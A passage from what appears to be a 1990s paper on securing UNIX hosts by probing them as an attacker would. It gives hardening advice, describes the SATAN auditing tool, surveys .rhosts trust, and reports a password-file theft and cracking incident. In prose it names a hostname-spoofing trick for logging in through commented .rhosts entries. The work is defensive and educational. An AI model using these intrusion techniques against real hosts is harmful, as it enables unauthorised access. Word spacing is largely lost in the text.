strategy is to usecryptographicprotocols.UsingthesecureRPCprotocol(usedin secureNFS,NIS+, etc.)
is onemethod;althoughit hasbeen"broken" cryptographically, it still providesbetterassurancethanRPC
authenticationschemesthatdonotuseany form of encryption.Othersolutions,bothhardware(smartcards)
andsoftware(Kerberos),arebeingdeveloped,but they areeitherincompleteor requirechangesto system
software.

AppendixB detailstheresultsof aninformal survey takenfrom avarietyof hostson theInternet.

5 Protecting the system

It is our hopethatwe have demonstratedthatevensomeof themostseeminglyinnocuousservicesrun can
offer (sometimesunexpectedly)ammunitionto determinedsystemcrackers.But, of course,if securitywere
all thatmattered,computerswouldneverbeturnedon,let alonehookedinto anetwork with literally millions
of potentialintruders.Ratherthanreiteratingspecificadviceon what to switchon or off, we insteadoffer
somegeneralsuggestions:

� If you cannotturn off the finger service,considerinstalling a modifiedfinger daemon.It is rarely
necessaryto revealauser’s homedirectoryandthesourceof lastlogin.

� Don’t runNIS unlessit’sabsolutelynecessary. UseNFSaslittle aspossible.

� Never export NFSfilesystemsunrestrictedto theworld. Try to export file systemsread-onlywhere
possible.

� Fortify andprotectservers(e.g. hoststhatprovide a serviceto otherhosts– NFS,NIS, DNS, what-
ever.) Only allow administrative accountson thesehosts.

� Examinecarefullyservicesofferedby inetdandtheportmapper. Eliminateany thataren’t explicitly
needed.UseWietseVenema’s inetdwrappers,if for nootherreasonthanto log thesourcesof connec-
tions to your host. This addsimmeasurablyto thestandardUNIX auditingfeatures,especiallywith
respectto network attacks.If possible,usetheloghostmechanismof syslogto collectsecurity-related
informationon asecurehost.

� Eliminatetrustunlessthereis anabsoluteneedfor it. Trustis your enemy.
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� Use shadow passwords and a passwdcommandthat disallows poor passwords. Disableor delete
unused/dormantsystemor useraccounts.

� Keepabreastof currentliterature(seeour suggestedreadinglist andbibliographyat theendof this
paper)andsecuritytools;communicateto othersaboutsecurityproblemsandincidents.At minimum,
subscribeto theCERT mailing list andphrackmagazine(plusthefirewallsmailing list, if yoursiteis
usingor thinking aboutinstallinga firewall) andreadtheusenetsecuritynewsgroupsto getthelatest
informationon securityproblems.Ignoranceis thedeadliestsecurityproblemwe areawareof.

� Install all vendorsecuritypatchesassoonaspossible,on all of your hosts.Examinesecuritypatch
informationfor othervendors- many bugs(rdist,sendmail)arecommonto many UNIX variants.

It is interestingto notethatcommonsolutionsto securityproblemssuchasrunningKerberosor usingone-
time passwordsor digital tokensare ineffective againstmostof the attackswe discusshere. We heartily
recommendtheuseof suchsystems,but beawarethat they arenot a total securitysolution– they arepart
of a largerstruggleto defendyoursystem.

6 Conclusions

Perhapsnoneof themethodsshown herearesurprising;whenwriting thispaper, wedidn’t learnverymuch
abouthow to breakinto systems.What we did learn was, while testingthesemethodsout on our own
systemsandthat of friendly sites,just how effective this setof methodsis for gainingaccessto a typical
(UNIX) Internethost. Tiring of trying to type thesein all by hand,anddesiringto keepour own systems
moresecure,we decidedto implementa securitytool (SATAN) thatattemptsto checkremotehostsfor at
leastsomeof theproblemsdiscussedhere.The typical response,whentelling peopleaboutour paperand
our tool wassomethingontheorderof "thatsoundsprettydangerous– I hopeyou’re notgoingto give it out
to everybody. But yousinceyoucantrustme,mayI have acopy of it?"

We never setout to createa cookbookor toolkit of methodsandprogramson how to breakinto sys-
tems– instead,we saw that thesesamemethodswerebeingused,every day, againstourselvesandagainst
friendly systemadministrators.We believe thatby propagatinginformationthatnormallywasn’t available
to thoseoutsideof theunderworld, we canincreasesecurityby raisingawareness.Trying to restrictaccess
to "dangerous"securityinformationhasnever seemedto beaveryeffective methodfor increasingsecurity;
indeed,theoppositeappearsto be thecase,sincethesystemcrackershave shown little reticenceto share
their informationwith eachother.

While it is almostcertainthatsomeof theinformationpresentedhereisnew materialto (aspiring)system
crackers,andthat somewill useit to gain unauthorizedentranceonto hosts,the evidencepresentedeven
by our adhoc testsshows that thereis a muchlarger numberof insecuresites,simply becausethesystem
administratorsdon’t know any better– they aren’t stupidor slow, they simply areunableto spendthevery
little freetime thatthey have to exploreall of thesecurityissuesthatpertainto their systems.Combinethat
with no easyaccessto thissortof informationandyou have poorly defendedsystems.We(modestly)hope
that this paperwill provide badly-neededdataon how systemsarebroken into, andfurther, to explain why
certainstepsshouldbetaken to securea system.Knowing why somethingis a problemis, in our opinion,
therealkey to learningandto makingan informed,intelligentchoiceasto whatsecurityreally meansfor
yoursite.
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Appendix A: SATAN (Security Analysis Tool for Auditing Networks)

Originally conceivedsomeyearsago,SATAN is actuallytheprototypeof a muchlargerandmorecompre-
hensivevisionof asecuritytool. In its currentincarnation,SATAN remotelyprobesandreportsvariousbugs
andweaknessesin network servicesandwindowing systems,aswell asdetailingasmuchgenerallyuseful
informationaspossibleaboutthetarget(s).It thenprocessesthedatawith a crudefilter andwhatmight be
termedanexpert systemto generatethefinal securityanalysis.While not particularlyfast,it is extremely
modularandeasyto modify.

SATAN consistsof several sub-programs,eachof which is an executablefile (perl, shell, compiledC
binary, whatever)thattestsahostfor agivenpotentialweakness.Addingfurthertestprogramsisassimpleas
puttinganexecutableinto themaindirectorywith theextension".sat";thedriverprogramwill automatically
executeit. Thedriver generatesa setof targets(usingDNS anda fastversionof ping togetherto get"li ve"
targets), and then executeseachof the programsover eachof the targets. A datafiltering/interpreting
programthenanalyzestheoutput,andlastly a reportingprogramdigestseverythinginto a morereadable
format.

The entire package,including sourcecodeand documentation,will be madefreely available to the
public,via anonymousftp andby postingit to oneof thenumeroussourcecodegroupson theUsenet.

Appendix B

An informal survey conductedon abouta dozenInternetsites(educational,military, andcommercial,with
over200hostsand40000accounts)revealedthaton theaverage,closeto 10percentof asite’saccountshad
.rhostsfiles. Thesefiles averagedsix trustedhostseach;however, it wasnot uncommonto have well over
onehundredentriesin anaccount’s .rhostsfile, andon a few occasions,thenumberwasover five hundred!
(This is not a recordoneshouldbe proudof owning.) In addition,every site directly on the internet(one
sitewasmostlybehinda firewall) trusteda useror hostat anothersite– thus,the securityof thesite was
not underthesystemadministratorsdirectcontrol. Thelargersites,with moreusersandhosts,hada lower
percentageof userswith .rhostsfiles,but thesizeof .rhostsfiles increased,aswell asthenumberof trusted
off-site hosts.

Although it wasvery difficult to verify how many of theentrieswerevalid, with suchhostnamessuch
as"Makefile", "Message-Id:",and"^Cs^A^C^M^Ci^C^MpNu^L^Z^O", aswell asquitea few wildcard
entries,we questionthewisdomof puttinga site’s securityin thehandsof its users.Many users(especially
the oneswith larger .rhostsfiles) attemptedto put shell-stylecommentsin their .rhostsfiles, which most
UNIX systemsattemptto resolve asvalid hostnames.Unfortunately, anattacker canthenusetheDNS and
NIS hostnamespoofingtechniquesdiscussedearlierto settheirhostnameto "#" andfreelylog in. Thisputsa
greatmany sitesatrisk (at leastonemajorvendorshipstheirsystemswith commentsin their/etc/hosts.equiv
files.)

You might think that thesesiteswerenot typical, and,asa matterof fact, they weren’t. Virtually all of
theadministratorsknew a greatdealaboutsecurityandwrite securityprogramsfor a hobbyor profession,
andmany of thesitesthatthey workedfor did eithersecurityresearchor createdsecurityproducts.We can
only guessatwhata "typical" sitemight look like.

Appendix C

After receiving mail from a site that hadbeenbroken into from oneof our systems,an investigationwas
started.In time, we found that the intruderwasworking from a list of ".com" (commercial)sites,looking
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for hostswith easy-tostealpassword files. In this case,"easy-to-steal"referredto siteswith a guessable
NIS domainnameandan accessibleNIS server. Not knowing how far the intruderhadgotten,it looked
like a goodideato warn the sitesthat were in fact vulnerableto password file theft. Of the 656 hostsin
the intruder’s hit list, 24 hadeasy-to-stealpassword files – aboutone in twenty-five hosts! Onethird of
thesefilescontainedat leastonepassword-lessaccountwith aninteractive shell.With agrandtotalof 1594
password-file entries,a ten-minuterun of a publically-available password cracker (Crack) revealedmore
than50 passwords,usingnothingbut a low-endSunworkstation.Another40 passwordswerefoundwithin
the next 20 minutes;anda root password wasfound in just over an hour. The resultafter a few daysof
cracking: five root passwordsfound,19 out of 24 password files (eightypercent)with at leastoneknown
password,and259of 1594(onein six) passwordsguessed.

Appendix D

How to getsomefreesecurityresourceson theInternet
Mailing lists:

� TheCERT (ComputerEmergency ResponseTeam)advisorymailinglist. Sende-mailtocert@cert.org,
andaskto beplacedon theirmailing list.

� ThePhracknewsletter. Sendane-mailmessageto phrack@well.sf.ca.usandaskto beaddedto the
list.

� TheFirewallsmailing list. Sendthefollowing line to majordomo@greatcircle.com:

subscribefirewalls

� ComputerUndergroundDigest.Sende-mail to tk0jut2@mvs.cso.niu.edu,askingto beplacedon the
list.

Free Software
� COPS(ComputerOracleandPassword System)is availablevia anonymousftp from ftp://ftp.win.-

tue.nl/pub/security/.

� Thelatestversionof berkeley sendmailis availablevia anonymousftp from ftp://ftp.cs.berkeley.edu/-
ucb/sendmail/.

� Sourcesfor ftpdandmany othernetwork utilitiescanbefoundin ftp://ftp.uu.net/packages/bsd-sources/.

� Sourcefor ISS(InternetSecurityScanner),a tool thatremotelyscansfor variousnetwork vulnerabil-
ities, is availablevia anonymousftp from ftp://ftp.uu.net/usenet/comp.sources.misc/volume40/iss/.

� Securelibis availablevia anonymousftp from ftp://ftp.uu.net/usenet/comp.sources.misc/volume36/-
securelib/.
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